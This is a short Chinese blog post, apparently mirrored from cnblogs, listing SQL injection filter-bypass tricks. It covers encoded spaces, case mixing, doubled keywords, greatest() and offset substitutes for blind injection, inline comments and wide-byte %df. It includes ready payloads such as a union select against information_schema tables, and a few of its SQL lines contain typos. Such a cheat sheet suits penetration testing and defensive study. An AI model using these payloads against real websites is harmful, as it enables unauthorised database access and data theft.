zoukankan      html  css  js  c++  java
  • sql注入总结

    各种方法综合使用,自己思考

    1、用url编码,ascii码,十六进制形式绕过

    2、空格绕过:/**/,0,(),<>,%09 TAB键(水平)%0a 新建一行%0c 新的一页%0d return功能%0b TAB键(垂直)%a0 空格

    3、用大小写绕过,sEleCt,这样类似的

    4、运用重叠拆解:selecselectt,中间的select被过滤后,剩下的就是select

    5、逗号绕过

    在使用盲注的时候,需要使用到substr() ,mid() ,limit。这些子句方法都需要使用到逗号。 对于substr()mid()这两个方法可以使用from to的方式来解决。

    select substr(database(0 from 1 for 1);

    select mid(database(0 from 1 for 1);

    对于limit可以使用offset来绕过。

    select * from news limit 0,1

    # 等价于下面这条SQL语句

    select * from news limit 1 offset 0

    6比较符(<,>)绕过

    同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。 如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。

    最常见的一个盲注的sql语句。

      select * from users where id=1 and ascii(substr(database(),0,1))>64

      此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest 代替比较操作符了。greatest(n1,n2,n3,)函数返回输入参数(n1,n2,n3,)的最大值。

    那么上面的这条sql语句可以使用greatest变为如下的子句:

     select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

    7、利用注释绕过:/*select*/

    8、利用对xss<过滤进行绕过:sel<ect,联想就是看它会过滤哪些特殊符号,关键字,然后 中间插入这些符号。

    9、用||&&,代替or,and

    10.绕过注释符号(#--(后面跟一个空格))过滤:

    id=1' union select 1,2,3||'1

      最后的or '1闭合查询语句的最后的单引号,或者:

    id=1' union select 1,2,'3

    11、=绕过:使用like rlike regexp 或者 使用< 或者 >

    12、内联注释绕过:id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

    13、宽字节绕过:%df

    14、绕过逗号过滤:limit可以通过 offset 绕过逗号过滤

    语句1:select * from student limit 9,4
    语句2:slect * from student limit 4 offset 9
    // 语句1和2均返回表student的第10、11、12、13行  
    //语句2中的4表示返回4行,9表示从表的第十行开始

  • 相关阅读:
    falsh读取网页数据
    IBATISNET中的lazyLoad
    Json.Net学习笔记(四) Json对象的读写
    Json.Net学习笔记(五) 自定义Json序列化特性
    Json.Net学习笔记(三) Json与Xml之间的转换
    将 GridView 中的内容导出到 Excel 中多个工作表(Sheet) 的方法
    jQuery–20个最新的jQuery效果.
    Json.Net学习笔记(七) 序列化集合
    Json.Net学习笔记(六) Json.Net中关于时间的序列化
    Json.Net 学习笔记(一)
  • 原文地址:https://www.cnblogs.com/GH-D/p/8289111.html
Copyright © 2011-2022 走看看